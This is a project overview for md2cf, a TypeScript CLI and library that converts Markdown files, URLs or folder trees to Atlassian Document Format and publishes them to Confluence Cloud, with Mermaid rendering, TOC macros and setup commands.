Engineering teams write documentation in Markdown because it lives alongside code, diffs cleanly in pull requests, and works with every editor. But many organizations mandate Confluence as the single source of truth for internal documentation. md2cf bridges this gap — it converts Markdown to Atlassian Document Format (ADF) and publishes directly to Confluence Cloud via the REST API v2, so teams can author in Markdown and publish to Confluence without ever opening the wiki editor.

md2cf works as both a CLI tool and a Node.js library. Point it at a Markdown file, a remote URL, or an entire folder, and it handles conversion, page creation, updates, and even Mermaid diagram rendering. It fits naturally into CI/CD pipelines for automated documentation deployment.

## Overview

<figure>

![md2cf pipeline: Markdown sources are read, Mermaid diagrams rendered to PNG, content converted to ADF, TOC sections replaced with Confluence macros, and pages created or updated via the REST API v2.](./md2cf-pipeline-markdown-sources-are-read-mermaid-diagrams-rendered-to-png-conten.svg)

<figcaption>md2cf pipeline: Markdown sources are read, Mermaid diagrams rendered to PNG, content converted to ADF, TOC sections replaced with Confluence macros, and pages created or updated via the REST API v2.</figcaption>
</figure>

## What It Does

md2cf takes Markdown content from three source types — local files, remote URLs, or entire directory trees — and publishes it to Confluence Cloud pages.

**Single-file sync** updates an existing page or creates a new one. The CLI determines the action from the URL shape and flags: a page URL means update, a space URL with `--create` means create, and a page URL with `--create` means create a child page.

**Recursive folder sync** mirrors a local directory structure to Confluence. Folders become container pages, Markdown files become content pages, and the parent-child hierarchy is preserved. Existing pages are updated by title match; new pages are created automatically.

**Mermaid diagram support** detects fenced `mermaid` code blocks, renders them to PNG via the `mmdc` CLI (bundled as a dependency), uploads the images as Confluence attachments, and injects the correct ADF media references. Failed renders include collapsible source code blocks so diagrams are never silently lost.

**TOC macro injection** detects Markdown Table of Contents sections (common in README files) and replaces them with Confluence's native TOC macro, which stays in sync with the page's heading structure automatically.

**Title resolution** follows a priority chain: explicit `--title` flag, then the first H1 heading in the Markdown, then the filename converted to title case.

## Why It Exists

Confluence's WYSIWYG editor is a productivity bottleneck for engineering teams. Documentation written in Markdown lives in version control, gets reviewed in pull requests, and works with every developer's editor. But when the organization requires Confluence, someone has to manually copy-paste and reformat content — a tedious, error-prone process that discourages documentation updates.

Existing Markdown-to-Confluence tools largely target the legacy Storage Format API or the older REST API v1. md2cf targets the current Confluence Cloud REST API v2 with native Atlassian Document Format (ADF) conversion, which is the format Confluence Cloud actually uses internally. This means content renders correctly without the subtle formatting issues that come from Storage Format workarounds.

The tool also solves the folder-sync problem that most alternatives ignore. Engineering documentation often has a directory structure — API docs, guides, architecture decision records — and manually recreating that hierarchy in Confluence is tedious. md2cf's recursive folder sync handles the entire tree in a single command.

## How It Works

md2cf is structured as two layers: a CLI built with Commander.js and a library that exports the core modules.

### Conversion Pipeline

The Markdown-to-ADF conversion uses [marklassian](https://github.com/jamsinclair/marklassian) as the core converter. Before conversion, md2cf preprocesses the Markdown in two passes:

1. **Mermaid extraction** — Fenced `mermaid` blocks are detected via regex, rendered to PNG using the `mmdc` CLI (from `@mermaid-js/mermaid-cli`), and replaced with placeholder strings. After the page is created, PNGs are uploaded as attachments, and a second API call injects the correct `mediaSingle` ADF nodes with file references.

2. **TOC stripping** — Table of Contents sections (detected by heading text like "Table of Contents" or "TOC") are replaced with a placeholder. After ADF conversion, the placeholder is swapped for a Confluence `extension` node that renders the native TOC macro.

### Confluence API Client

The `ConfluenceClient` class wraps the REST API v2 with Basic Auth (email + API token). It handles page CRUD, child page listing, attachment uploads (via the v1 attachment endpoint, since v2 doesn't expose attachments), and pre-flight access checks. Attachment uploads use a create-or-update strategy: if an upload returns HTTP 400 (duplicate), the client automatically finds and updates the existing attachment.

### URL Parsing

The URL parser extracts the action context from Confluence URLs. It recognizes three patterns: page URLs (`/wiki/spaces/SPACE/pages/ID`), folder URLs (`/wiki/spaces/SPACE/folder/ID`), and space URLs (`/wiki/spaces/SPACE`). The parsed result, combined with the `--create` flag, determines whether to create or update.

### Configuration

Credentials are stored in `~/.md2cf/config.json` and validated with Zod schemas. The `config` subcommand provides interactive setup, individual key get/set, listing (with masked tokens), and reset.

## Key Features

| Feature | Description |
| --- | --- |
| **Recursive folder sync** | Mirrors local directory trees to Confluence page hierarchies in a single command |
| **Mermaid rendering** | Renders diagrams to PNG, uploads as attachments, and embeds in pages with collapsible source |
| **Dry-run mode** | `--dry-run` previews all actions without making API calls — useful for CI validation |
| **Overwrite protection** | Prompts before updating existing pages; `--yes` skips prompts for automation |
| **Remote source support** | Syncs from raw GitHub URLs or any HTTP-accessible Markdown file |
| **AI agent skills** | `--install-skill claude` installs a SKILL.md for Claude Code, Codex, or Gemini agents |
| **Library API** | Core modules (`ConfluenceClient`, `convertMarkdownToAdf`, `readMarkdownSource`) exported for programmatic use |
| **TOC macro injection** | Replaces Markdown TOC sections with Confluence's native TOC macro |

## Getting Started

Install globally via npm (requires Node.js 24+):

```bash
npm install -g md2cf
```

Configure your Confluence credentials:

```bash
md2cf config
```

This prompts for your Atlassian email, an API token (generated at [id.atlassian.com](https://id.atlassian.com/manage/api-tokens)), and your Confluence base URL.

Sync a Markdown file to an existing page:

```bash
md2cf ./README.md https://company.atlassian.net/wiki/spaces/ENG/pages/12345
```

Create a new page in a space:

```bash
md2cf ./docs/guide.md https://company.atlassian.net/wiki/spaces/ENG --create
```

Sync an entire docs folder:

```bash
md2cf ./docs/ https://company.atlassian.net/wiki/spaces/ENG/pages/12345
```

Preview without making changes:

```bash
md2cf ./README.md https://company.atlassian.net/wiki/spaces/ENG/pages/12345 --dry-run
```

## Appendix

### Tech Stack

| Component | Technology |
| --- | --- |
| **Language** | TypeScript (strict mode, ES2022 target) |
| **Runtime** | Node.js 24+ (ESM only) |
| **Bundler** | Vite (two entry points: `cli.js` and `index.js`) |
| **CLI framework** | Commander.js |
| **Markdown → ADF** | marklassian |
| **Diagram rendering** | @mermaid-js/mermaid-cli (mmdc) |
| **Validation** | Zod |
| **Interactive prompts** | @inquirer/prompts |
| **Testing** | Vitest (90% coverage thresholds) |

### References

- [md2cf on npm](https://www.npmjs.com/package/md2cf)
- [GitHub Repository](https://github.com/sujeet-pro/markdown-to-confluence-sync)
- [Confluence REST API v2 Documentation](https://developer.atlassian.com/cloud/confluence/rest/v2/intro/)
- [Atlassian Document Format (ADF) Specification](https://developer.atlassian.com/cloud/jira/platform/apis/document/structure/)
- [marklassian — Markdown to ADF Converter](https://github.com/jamsinclair/marklassian)
- [Full Documentation](https://sujeet-pro.github.io/markdown-to-confluence-sync/)